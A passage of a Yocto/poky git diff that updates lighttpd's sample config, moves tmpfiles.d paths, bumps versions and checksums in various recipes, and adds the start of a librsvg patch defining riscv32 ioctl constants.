# "mod_webdav",
"mod_accesslog" )
@@ -47,9 +43,6 @@ server.errorlog = "/www/logs/lighttpd.error.log"
index-file.names = ( "index.php", "index.html",
"index.htm", "default.htm" )
-## set the event-handler (read the performance section in the manual)
-# server.event-handler = "freebsd-kqueue" # needed on OS X
-
# mimetype mapping
mimetype.assign = (
".pdf" => "application/pdf",
@@ -115,7 +108,6 @@ mimetype.assign = (
#### accesslog module
accesslog.filename = "/www/logs/access.log"
-debug.log-request-handling = "enable"
@@ -127,10 +119,6 @@ debug.log-request-handling = "enable"
# of the document-root
url.access-deny = ( "~", ".inc" )
-$HTTP["url"] =~ "\.pdf$" {
- server.range-requests = "disable"
-}
-
##
# which extensions should not be handle via static-file transfer
#
@@ -177,6 +165,7 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#dir-listing.activate = "enable"
## enable debugging
+#debug.log-request-header-on-error = "enable"
#debug.log-request-header = "enable"
#debug.log-response-header = "enable"
#debug.log-request-handling = "enable"
@@ -194,8 +183,9 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#server.groupname = "wwwrun"
#### compress module
-#compress.cache-dir = "/tmp/lighttpd/cache/compress/"
-#compress.filetype = ("text/plain", "text/html")
+#deflate.cache-dir = "/tmp/lighttpd/cache/compress/"
+#deflate.mimetypes = ("text/plain", "text/html")
+#deflate.allowed-encodings = ("gzip")
#### proxy module
## read proxy.txt for more info
@@ -227,7 +217,8 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#### SSL engine
#ssl.engine = "enable"
-#ssl.pemfile = "server.pem"
+#ssl.pemfile = "/path/to/fullchain.pem"
+#ssl.privkey = "/path/to/privkey.pem"
#### status module
#status.status-url = "/server-status"
@@ -291,19 +282,6 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#setenv.add-request-header = ( "TRAV_ENV" => "mysql://user@host/db" )
#setenv.add-response-header = ( "X-Secret-Message" => "42" )
-## for mod_trigger_b4_dl
-# trigger-before-download.gdbm-filename = "/home/weigon/testbase/trigger.db"
-# trigger-before-download.memcache-hosts = ( "127.0.0.1:11211" )
-# trigger-before-download.trigger-url = "^/trigger/"
-# trigger-before-download.download-url = "^/download/"
-# trigger-before-download.deny-url = "http://127.0.0.1/index.html"
-# trigger-before-download.trigger-timeout = 10
-
-## for mod_cml
-## don't forget to add index.cml to server.indexfiles
-# cml.extension = ".cml"
-# cml.memcache-hosts = ( "127.0.0.1:11211" )
-
#### variable usage:
## variable name without "." is auto prefixed by "var." and becomes "var.bar"
#bar = 1
@@ -328,4 +306,4 @@ static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
#var.a=1
# include other config file fragments from lighttpd.d subdir
-include_shell "find /etc/lighttpd.d -maxdepth 1 -name '*.conf' -exec cat {} \;"
+include "/etc/lighttpd.d/*.conf"
diff --git a/poky/meta/recipes-extended/lighttpd/lighttpd_1.4.71.bb b/poky/meta/recipes-extended/lighttpd/lighttpd_1.4.73.bb
index 3959f88b98..ea83a4b507 100644
--- a/poky/meta/recipes-extended/lighttpd/lighttpd_1.4.71.bb
+++ b/poky/meta/recipes-extended/lighttpd/lighttpd_1.4.73.bb
@@ -16,7 +16,7 @@ SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.t
file://lighttpd \
"
-SRC_URI[sha256sum] = "b8b6915da20396fdc354df3324d5e440169b2e5ea7859e3a775213841325afac"
+SRC_URI[sha256sum] = "818816d0b314b0aa8728a7076513435f6d5eb227f3b61323468e1f10dbe84ca8"
DEPENDS = "virtual/crypt"
diff --git a/poky/meta/recipes-extended/lsb/lsb-release_1.4.bb b/poky/meta/recipes-extended/lsb/lsb-release_1.4.bb
index ad16554e98..00d8183a4f 100644
--- a/poky/meta/recipes-extended/lsb/lsb-release_1.4.bb
+++ b/poky/meta/recipes-extended/lsb/lsb-release_1.4.bb
@@ -14,10 +14,9 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar
file://help2man-reproducibility.patch \
"
-SRC_URI[md5sum] = "30537ef5a01e0ca94b7b8eb6a36bb1e4"
SRC_URI[sha256sum] = "99321288f8d62e7a1d485b7c6bdccf06766fb8ca603c6195806e4457fdf17172"
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/lsb/files/lsb_release/"
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/lsb/files/lsb_release/"
UPSTREAM_CHECK_REGEX = "/lsb_release/(?P<pver>(\d+[\.\-_]*)+)/"
CLEANBROKEN = "1"
diff --git a/poky/meta/recipes-extended/ltp/ltp_20230516.bb b/poky/meta/recipes-extended/ltp/ltp_20230929.bb
index 4d132b761a..5c43346883 100644
--- a/poky/meta/recipes-extended/ltp/ltp_20230516.bb
+++ b/poky/meta/recipes-extended/ltp/ltp_20230929.bb
@@ -24,7 +24,7 @@ TUNE_CCARGS:remove:x86-64 = "-mfpmath=sse"
CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
-SRCREV = "3ebc2dfa85c2445bb68d8c0d66e33c4da1e1b3a7"
+SRCREV = "110d3be6a9c58674de3e366b96a70f0129a5d299"
SRC_URI = "git://github.com/linux-test-project/ltp.git;branch=master;protocol=https \
file://0001-Remove-OOM-tests-from-runtest-mm.patch \
diff --git a/poky/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch b/poky/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch
deleted file mode 100644
index 03273d3b49..0000000000
--- a/poky/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-The first line of man_db.conf will be replaced by package name. And it causes
-multilib install file conflict. Remove the line to avoid the issue.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-diff --git a/src/man_db.conf.in b/src/man_db.conf.in
-index bc8bb7e..04cfb31 100644
---- a/src/man_db.conf.in
-+++ b/src/man_db.conf.in
-@@ -1,4 +1,3 @@
--# @config_file_basename@
- #
- # This file is used by the man-db package to configure the man and cat paths.
- # It is also used to provide a manpath for those without one by examining
diff --git a/poky/meta/recipes-extended/man-db/man-db_2.11.2.bb b/poky/meta/recipes-extended/man-db/man-db_2.11.2.bb
index 3884a531a6..8941ffc013 100644
--- a/poky/meta/recipes-extended/man-db/man-db_2.11.2.bb
+++ b/poky/meta/recipes-extended/man-db/man-db_2.11.2.bb
@@ -10,8 +10,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
file://99_mandb \
file://0001-man-Move-local-variable-declaration-to-function-scop.patch \
- file://autoconf-2.73.patch \
- file://man_db.conf-avoid-multilib-install-file-conflict.patch"
+ file://autoconf-2.73.patch"
SRC_URI[sha256sum] = "cffa1ee4e974be78646c46508e6dd2f37e7c589aaab2938cc1064f058fef9f8d"
DEPENDS = "libpipeline gdbm groff-native base-passwd"
@@ -52,7 +51,9 @@ FILES:${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
RDEPENDS:${PN} += "groff"
RRECOMMENDS:${PN} += "less"
-RPROVIDES:${PN} += " man"
+# iconv from glibc-utils can be used to transform encoding
+RRECOMMENDS:${PN}:append:libc-glibc = " glibc-utils"
+RPROVIDES:${PN} += "man"
def compress_pkg(d):
if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
diff --git a/poky/meta/recipes-extended/msmtp/msmtp_1.8.24.bb b/poky/meta/recipes-extended/msmtp/msmtp_1.8.25.bb
index b8c867161b..b575fad5e1 100644
--- a/poky/meta/recipes-extended/msmtp/msmtp_1.8.24.bb
+++ b/poky/meta/recipes-extended/msmtp/msmtp_1.8.25.bb
@@ -11,7 +11,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
-SRC_URI[sha256sum] = "bd6644b1aaab17d61b86647993e3efad860b23c54283b00ddc579c1f5110aa59"
+SRC_URI[sha256sum] = "2dfe1dbbb397d26fe0b0b6b2e9cd2efdf9d72dd42d18e70d7f363ada2652d738"
inherit gettext autotools update-alternatives pkgconfig
diff --git a/poky/meta/recipes-extended/newt/libnewt_0.52.23.bb b/poky/meta/recipes-extended/newt/libnewt_0.52.24.bb
index cd3731cf74..1e39a1c5ca 100644
--- a/poky/meta/recipes-extended/newt/libnewt_0.52.23.bb
+++ b/poky/meta/recipes-extended/newt/libnewt_0.52.24.bb
@@ -23,7 +23,7 @@ SRC_URI = "https://releases.pagure.org/newt/newt-${PV}.tar.gz \
file://0001-detect-gold-as-GNU-linker-too.patch \
"
-SRC_URI[sha256sum] = "caa372907b14ececfe298f0d512a62f41d33b290610244a58aed07bbc5ada12a"
+SRC_URI[sha256sum] = "5ded7e221f85f642521c49b1826c8de19845aa372baf5d630a51774b544fbdbb"
S = "${WORKDIR}/newt-${PV}"
diff --git a/poky/meta/recipes-extended/pam/libpam_1.5.3.bb b/poky/meta/recipes-extended/pam/libpam_1.5.3.bb
index 1aa307af4d..7af3ea99d1 100644
--- a/poky/meta/recipes-extended/pam/libpam_1.5.3.bb
+++ b/poky/meta/recipes-extended/pam/libpam_1.5.3.bb
@@ -49,7 +49,10 @@ PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db,"
PACKAGES += "${PN}-runtime ${PN}-xtests"
-FILES:${PN} = "${base_libdir}/lib*${SOLIBS}"
+FILES:${PN} = " \
+ ${base_libdir}/lib*${SOLIBS} \
+ ${nonarch_libdir}/tmpfiles.d/*.conf \
+"
FILES:${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
FILES:${PN}-runtime = "${sysconfdir} ${sbindir} ${systemd_system_unitdir}"
FILES:${PN}-xtests = "${datadir}/Linux-PAM/xtests"
@@ -130,9 +133,9 @@ do_install() {
if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
rm -rf ${D}${sysconfdir}/init.d/
rm -rf ${D}${sysconfdir}/rc*
- install -d ${D}${sysconfdir}/tmpfiles.d
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
install -m 0644 ${WORKDIR}/pam-volatiles.conf \
- ${D}${sysconfdir}/tmpfiles.d/pam.conf
+ ${D}${nonarch_libdir}/tmpfiles.d/pam.conf
else
install -d ${D}${sysconfdir}/default/volatiles
install -m 0644 ${WORKDIR}/99_pam \
diff --git a/poky/meta/recipes-extended/stress-ng/stress-ng_0.16.05.bb b/poky/meta/recipes-extended/stress-ng/stress-ng_0.17.01.bb
index 1a1e9e4057..b6fd96d857 100644
--- a/poky/meta/recipes-extended/stress-ng/stress-ng_0.16.05.bb
+++ b/poky/meta/recipes-extended/stress-ng/stress-ng_0.17.01.bb
@@ -7,7 +7,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
SRC_URI = "git://github.com/ColinIanKing/stress-ng.git;protocol=https;branch=master \
"
-SRCREV = "aea6f3306f4676a7f7e8d8c507f811ef3d0244c5"
+SRCREV = "c9669b041eff5905da191974ba0102208a59e04e"
S = "${WORKDIR}/git"
DEPENDS = "coreutils-native libbsd"
diff --git a/poky/meta/recipes-extended/sudo/sudo_1.9.14p3.bb b/poky/meta/recipes-extended/sudo/sudo_1.9.15p2.bb
index d5c5718ea5..431dfba3c2 100644
--- a/poky/meta/recipes-extended/sudo/sudo_1.9.14p3.bb
+++ b/poky/meta/recipes-extended/sudo/sudo_1.9.15p2.bb
@@ -7,7 +7,7 @@ SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
PAM_SRC_URI = "file://sudo.pam"
-SRC_URI[sha256sum] = "a08318b1c4bc8582c004d4cd9ae2903abc549e7e46ba815e41fe81d1c0782b62"
+SRC_URI[sha256sum] = "199c0cdbfa7efcfffa9c88684a8e2fb206a62b70a316507e4a91c89c873bbcc8"
DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
RDEPENDS:${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
diff --git a/poky/meta/recipes-extended/sysstat/sysstat_12.7.4.bb b/poky/meta/recipes-extended/sysstat/sysstat_12.7.4.bb
index 134fd5cf96..660bc634a0 100644
--- a/poky/meta/recipes-extended/sysstat/sysstat_12.7.4.bb
+++ b/poky/meta/recipes-extended/sysstat/sysstat_12.7.4.bb
@@ -48,9 +48,9 @@ do_install() {
install -m 0644 ${WORKDIR}/99_sysstat ${D}/etc/default/volatiles
fi
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
echo "d ${localstatedir}/log/sa - - - -" \
- > ${D}${sysconfdir}/tmpfiles.d/sysstat.conf
+ > ${D}${nonarch_libdir}/tmpfiles.d/sysstat.conf
# Unless both cron and systemd are enabled, install our own
# systemd unit file. Otherwise the package will install one.
@@ -70,7 +70,11 @@ pkg_postinst:${PN} () {
fi
}
-FILES:${PN} += "${systemd_system_unitdir} ${nonarch_base_libdir}/systemd"
+FILES:${PN} += " \
+ ${systemd_system_unitdir} \
+ ${nonarch_base_libdir}/systemd \
+ ${nonarch_libdir}/tmpfiles.d \
+"
TARGET_CC_ARCH += "${LDFLAGS}"
diff --git a/poky/meta/recipes-gnome/epiphany/epiphany_44.6.bb b/poky/meta/recipes-gnome/epiphany/epiphany_44.6.bb
index d8dd3d6dae..577eb43a80 100644
--- a/poky/meta/recipes-gnome/epiphany/epiphany_44.6.bb
+++ b/poky/meta/recipes-gnome/epiphany/epiphany_44.6.bb
@@ -23,7 +23,6 @@ DEPENDS = " \
desktop-file-utils-native \
"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gsettings features_check gettext mime-xdg gtk-icon-cache
REQUIRED_DISTRO_FEATURES = "x11 opengl"
diff --git a/poky/meta/recipes-gnome/gcr/gcr_4.1.0.bb b/poky/meta/recipes-gnome/gcr/gcr_4.1.0.bb
index 239d9806cc..399f327e04 100644
--- a/poky/meta/recipes-gnome/gcr/gcr_4.1.0.bb
+++ b/poky/meta/recipes-gnome/gcr/gcr_4.1.0.bb
@@ -15,7 +15,6 @@ CACHED_CONFIGUREVARS += "ac_cv_path_GPG='gpg2'"
CFLAGS += "-D_GNU_SOURCE"
-GNOMEBASEBUILDCLASS = "meson"
GTKDOC_MESON_OPTION = "gtk_doc"
inherit gnomebase gtk-icon-cache gi-docgen features_check vala gobject-introspection gettext mime mime-xdg
diff --git a/poky/meta/recipes-gnome/gnome/adwaita-icon-theme_45.0.bb b/poky/meta/recipes-gnome/gnome/adwaita-icon-theme_45.0.bb
index 4dbcced5c3..0bd98288f6 100644
--- a/poky/meta/recipes-gnome/gnome/adwaita-icon-theme_45.0.bb
+++ b/poky/meta/recipes-gnome/gnome/adwaita-icon-theme_45.0.bb
@@ -10,7 +10,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=c84cac88e46fc07647ea07e6c24eeb7c \
file://COPYING_CCBYSA3;md5=96143d33de3a79321b1006c4e8ed07e7 \
file://COPYING_LGPL;md5=e6a600fd5e1d9cbde2d983680233ad02"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase allarch gtk-icon-cache
SRC_URI[archive.sha256sum] = "2442bfb06f4e6cc95bf6e2682fdff98fa5eddc688751b9d6215c623cb4e42ff1"
diff --git a/poky/meta/recipes-gnome/gnome/gconf_3.2.6.bb b/poky/meta/recipes-gnome/gnome/gconf_3.2.6.bb
index 4930aeb9f0..1e29bd9bb0 100644
--- a/poky/meta/recipes-gnome/gnome/gconf_3.2.6.bb
+++ b/poky/meta/recipes-gnome/gnome/gconf_3.2.6.bb
@@ -9,6 +9,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605"
DEPENDS = "glib-2.0 glib-2.0-native dbus dbus-glib libxml2 intltool-native"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase gtk-doc gettext gobject-introspection gio-module-cache
SRC_URI = "${GNOME_MIRROR}/GConf/${@gnome_verdir("${PV}")}/GConf-${PV}.tar.xz;name=archive \
diff --git a/poky/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_44.0.bb b/poky/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_45.0.bb
index 8e30d5e524..657f9d61ce 100644
--- a/poky/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_44.0.bb
+++ b/poky/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_45.0.bb
@@ -9,8 +9,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
DEPENDS = "glib-2.0"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gsettings gobject-introspection gettext
-SRC_URI[archive.sha256sum] = "eb2de45cad905994849e642a623adeb75d41b21b0626d40d2a07b8ea281fec0e"
+SRC_URI[archive.sha256sum] = "365c8d04daf79b38c8b3dc9626349a024f9e4befdd31fede74b42f7a9fbe0ae2"
diff --git a/poky/meta/recipes-gnome/gtk+/gtk+3.inc b/poky/meta/recipes-gnome/gtk+/gtk+3.inc
index 8d01e6077f..4a04c06432 100644
--- a/poky/meta/recipes-gnome/gtk+/gtk+3.inc
+++ b/poky/meta/recipes-gnome/gtk+/gtk+3.inc
@@ -41,7 +41,7 @@ PACKAGECONFIG[x11] = "-Dx11_backend=true,-Dx11_backend=false,at-spi2-atk fontcon
# this is provided by oe-core patch that removes epoxy/gl dependency from a X11 build
PACKAGECONFIG[opengl] = "-Dopengl=true,-Dopengl=false,libepoxy"
PACKAGECONFIG[wayland] = "-Dwayland_backend=true,-Dwayland_backend=false,wayland wayland-protocols libxkbcommon virtual/egl virtual/libgles2 wayland-native"
-PACKAGECONFIG[cups] = ",,cups,cups"
+PACKAGECONFIG[cups] = ",,cups,cups gtk3-printbackend-cups"
PACKAGECONFIG[colord] = "-Dcolord=yes,-Dcolord=no,colord"
PACKAGECONFIG[cloudproviders] = "-Dcloudproviders=true,-Dcloudproviders=false,libcloudproviders"
PACKAGECONFIG[tracker3] = "-Dtracker3=true,-Dtracker3=false,tracker,tracker-miners"
diff --git a/poky/meta/recipes-gnome/gtk+/gtk4_4.12.3.bb b/poky/meta/recipes-gnome/gtk+/gtk4_4.12.3.bb
index a547db8376..001b06934e 100644
--- a/poky/meta/recipes-gnome/gtk+/gtk4_4.12.3.bb
+++ b/poky/meta/recipes-gnome/gtk+/gtk4_4.12.3.bb
@@ -66,7 +66,7 @@ PACKAGECONFIG:class-nativesdk = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)
PACKAGECONFIG[x11] = "-Dx11-backend=true,-Dx11-backend=false,at-spi2-atk fontconfig libx11 libxext libxcursor libxi libxdamage libxrandr libxrender libxcomposite libxfixes xinerama"
PACKAGECONFIG[wayland] = "-Dwayland-backend=true,-Dwayland-backend=false,wayland wayland-protocols virtual/egl virtual/libgles2 wayland-native"
PACKAGECONFIG[cloudproviders] = "-Dcloudproviders=enabled,-Dcloudproviders=disabled,libcloudproviders"
-PACKAGECONFIG[cups] = "-Dprint-cups=enabled,-Dprint-cups=disabled,cups,cups"
+PACKAGECONFIG[cups] = "-Dprint-cups=enabled,-Dprint-cups=disabled,cups,cups gtk4-printbackend-cups"
PACKAGECONFIG[colord] = "-Dcolord=enabled,-Dcolord=disabled,colord"
PACKAGECONFIG[iso-codes] = ",,iso-codes,iso-codes"
PACKAGECONFIG[ffmpeg] = "-Dmedia-ffmpeg=enabled,-Dmedia-ffmpeg=disabled,ffmpeg"
diff --git a/poky/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb b/poky/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb
index 150eca9274..2e8ab1c771 100644
--- a/poky/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb
+++ b/poky/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb
@@ -5,6 +5,7 @@ HOMEPAGE = "https://www.gtk.org/docs/"
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+GNOMEBASEBUILDCLASS = "autotools"
inherit gnomebase
# Configure the scripts correctly (and build their dependencies) only if they are actually
diff --git a/poky/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb b/poky/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb
index 9c34fb7f40..a9a71953c3 100644
--- a/poky/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb
+++ b/poky/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb
@@ -11,7 +11,6 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
DEPENDS = "glib-2.0 glib-2.0-native"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase lib_package gobject-introspection gi-docgen gettext ptest-gnome manpages upstream-version-is-even
GIR_MESON_ENABLE_FLAG = 'enabled'
GIR_MESON_DISABLE_FLAG = 'disabled'
diff --git a/poky/meta/recipes-gnome/libadwaita/libadwaita_1.4.0.bb b/poky/meta/recipes-gnome/libadwaita/libadwaita_1.4.0.bb
index d8aa2cd697..cc05756805 100644
--- a/poky/meta/recipes-gnome/libadwaita/libadwaita_1.4.0.bb
+++ b/poky/meta/recipes-gnome/libadwaita/libadwaita_1.4.0.bb
@@ -3,7 +3,6 @@ HOMEPAGE = "https://gitlab.gnome.org/GNOME/libadwaita"
LICENSE="LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-GNOMEBASEBUILDCLASS = "meson"
DEPENDS = " \
gtk4 \
diff --git a/poky/meta/recipes-gnome/libdazzle/libdazzle_3.44.0.bb b/poky/meta/recipes-gnome/libdazzle/libdazzle_3.44.0.bb
index 49ebc818b0..9bca7e9dce 100644
--- a/poky/meta/recipes-gnome/libdazzle/libdazzle_3.44.0.bb
+++ b/poky/meta/recipes-gnome/libdazzle/libdazzle_3.44.0.bb
@@ -7,7 +7,6 @@ HOMEPAGE = "https://gitlab.gnome.org/GNOME/libdazzle"
BUGTRACKER = "https://gitlab.gnome.org/GNOME/libdazzle/issues"
LIC_FILES_CHKSUM = "file://COPYING;md5=8f0e2cd40e05189ec81232da84bd6e1a"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase upstream-version-is-even vala features_check gobject-introspection
DEPENDS = "glib-2.0-native glib-2.0 gtk+3"
diff --git a/poky/meta/recipes-gnome/libgudev/libgudev_238.bb b/poky/meta/recipes-gnome/libgudev/libgudev_238.bb
index c71e4bda74..5923544eca 100644
--- a/poky/meta/recipes-gnome/libgudev/libgudev_238.bb
+++ b/poky/meta/recipes-gnome/libgudev/libgudev_238.bb
@@ -14,7 +14,6 @@ RCONFLICTS:${PN} = "systemd (<= 220)"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-GNOMEBASEBUILDCLASS = "meson"
inherit gnomebase gobject-introspection gtk-doc
GIR_MESON_ENABLE_FLAG = 'enabled'
diff --git a/poky/meta/recipes-gnome/libnotify/libnotify_0.8.2.bb b/poky/meta/recipes-gnome/libnotify/libnotify_0.8.3.bb
index 6888c33d14..1e606b84b2 100644
--- a/poky/meta/recipes-gnome/libnotify/libnotify_0.8.2.bb
+++ b/poky/meta/recipes-gnome/libnotify/libnotify_0.8.3.bb
@@ -14,14 +14,13 @@ DEPENDS = "glib-2.0 glib-2.0-native gdk-pixbuf"
PACKAGECONFIG ?= ""
PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false,gtk+3"
-GNOMEBASEBUILDCLASS = "meson"
GIR_MESON_ENABLE_FLAG = "enabled"
GIR_MESON_DISABLE_FLAG = "disabled"
inherit gnomebase gi-docgen features_check gobject-introspection
# depends on gtk+3 if tests are enabled
ANY_OF_DISTRO_FEATURES = "${@bb.utils.contains('PACKAGECONFIG', 'tests', '${GTK3DISTROFEATURES}', '', d)}"
-SRC_URI[archive.sha256sum] = "c5f4ed3d1f86e5b118c76415aacb861873ed3e6f0c6b3181b828cf584fc5c616"
+SRC_URI[archive.sha256sum] = "ee8f3ef946156ad3406fdf45feedbdcd932dbd211ab4f16f75eba4f36fb2f6c0"
EXTRA_OEMESON = "-Dman=false"
diff --git a/poky/meta/recipes-gnome/librsvg/librsvg/0001-Add-riscv32-support.patch b/poky/meta/recipes-gnome/librsvg/librsvg/0001-Add-riscv32-support.patch
new file mode 100644
index 0000000000..2e36eaf508
--- /dev/null
+++ b/poky/meta/recipes-gnome/librsvg/librsvg/0001-Add-riscv32-support.patch
@@ -0,0 +1,1511 @@
+From a4066c09bec2d4ec956459237e0a48501cc4780f Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 8 Nov 2023 22:41:54 -0800
+Subject: [PATCH] Add riscv32 support
+
+Upstream-Status: Submitted [https://github.com/sunfishcode/linux-raw-sys/pull/95]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/riscv32/ioctl.rs | 1490 +++++++++++++++++++++++++++++++++++++++++-
+ 1 file changed, 1488 insertions(+), 2 deletions(-)
+
+diff --git a/src/riscv32/ioctl.rs b/src/riscv32/ioctl.rs
+index 85bcbe8..1d97396 100644
+--- a/src/riscv32/ioctl.rs
++++ b/src/riscv32/ioctl.rs
+@@ -1,3 +1,1489 @@
+-/* automatically generated by rust-bindgen 0.65.1 */
+-
++/* automatically generated by rust-bindgen 0.66.1 */
+
++pub const FIONREAD: u32 = 21531;
++pub const FIONBIO: u32 = 21537;
++pub const FIOCLEX: u32 = 21585;
++pub const FIONCLEX: u32 = 21584;
++pub const FIOASYNC: u32 = 21586;
++pub const FIOQSIZE: u32 = 21600;
++pub const TCXONC: u32 = 21514;
++pub const TCFLSH: u32 = 21515;
++pub const TIOCSCTTY: u32 = 21518;
++pub const TIOCSPGRP: u32 = 21520;
++pub const TIOCOUTQ: u32 = 21521;
++pub const TIOCSTI: u32 = 21522;
++pub const TIOCSWINSZ: u32 = 21524;
++pub const TIOCMGET: u32 = 21525;
++pub const TIOCMBIS: u32 = 21526;
++pub const TIOCMBIC: u32 = 21527;
++pub const TIOCMSET: u32 = 21528;
++pub const TIOCSSOFTCAR: u32 = 21530;
++pub const TIOCLINUX: u32 = 21532;
++pub const TIOCCONS: u32 = 21533;
++pub const TIOCSSERIAL: u32 = 21535;
++pub const TIOCPKT: u32 = 21536;
++pub const TIOCNOTTY: u32 = 21538;
++pub const TIOCSETD: u32 = 21539;
++pub const TIOCSBRK: u32 = 21543;
++pub const TIOCCBRK: u32 = 21544;
++pub const TIOCSRS485: u32 = 21551;
++pub const TIOCSPTLCK: u32 = 1074025521;
++pub const TIOCSIG: u32 = 1074025526;
++pub const TIOCVHANGUP: u32 = 21559;
++pub const TIOCSERCONFIG: u32 = 21587;
++pub const TIOCSERGWILD: u32 = 21588;
++pub const TIOCSERSWILD: u32 = 21589;
++pub const TIOCSLCKTRMIOS: u32 = 21591;
++pub const TIOCSERGSTRUCT: u32 = 21592;
++pub const TIOCSERGETLSR: u32 = 21593;
++pub const TIOCSERGETMULTI: u32 = 21594;
++pub const TIOCSERSETMULTI: u32 = 21595;
++pub const TIOCMIWAIT: u32 = 21596;
++pub const TCGETS: u32 = 21505;
++pub const TCGETA: u32 = 21509;
++pub const TCSBRK: u32 = 21513;
++pub const TCSBRKP: u32 = 21541;
++pub const TCSETA: u32 = 21510;
++pub const TCSETAF: u32 = 21512;
++pub const TCSETAW: u32 = 21511;
++pub const TIOCEXCL: u32 = 21516;
++pub const TIOCNXCL: u32 = 21517;
++pub const TIOCGDEV: u32 = 2147767346;
++pub const TIOCGEXCL: u32 = 2147767360;
++pub const TIOCGICOUNT: u32 = 21597;
++pub const TIOCGLCKTRMIOS: u32 = 21590;
++pub const TIOCGPGRP: u32 = 21519;
++pub const TIOCGPKT: u32 = 2147767352;
++pub const TIOCGPTLCK: u32 = 2147767353;
++pub const TIOCGPTN: u32 = 2147767344;
++pub const TIOCGPTPEER: u32 = 21569;
++pub const TIOCGRS485: u32 = 21550;
++pub const TIOCGSERIAL: u32 = 21534;
++pub const TIOCGSID: u32 = 21545;
++pub const TIOCGSOFTCAR: u32 = 21529;
++pub const TIOCGWINSZ: u32 = 21523;
++pub const TCGETS2: u32 = 2150388778;
++pub const TCGETX: u32 = 21554;
++pub const TCSETS: u32 = 21506;
++pub const TCSETS2: u32 = 1076646955;
++pub const TCSETSF: u32 = 21508;
++pub const TCSETSF2: u32 = 1076646957;
++pub const TCSETSW: u32 = 21507;
++pub const TCSETSW2: u32 = 1076646956;
++pub const TCSETX: u32 = 21555;
++pub const TCSETXF: u32 = 21556;
++pub const TCSETXW: u32 = 21557;
++pub const TIOCGETD: u32 = 21540;
++pub const MTIOCGET: u32 = 2150657282;
++pub const BLKSSZGET: u32 = 4712;
++pub const BLKPBSZGET: u32 = 4731;
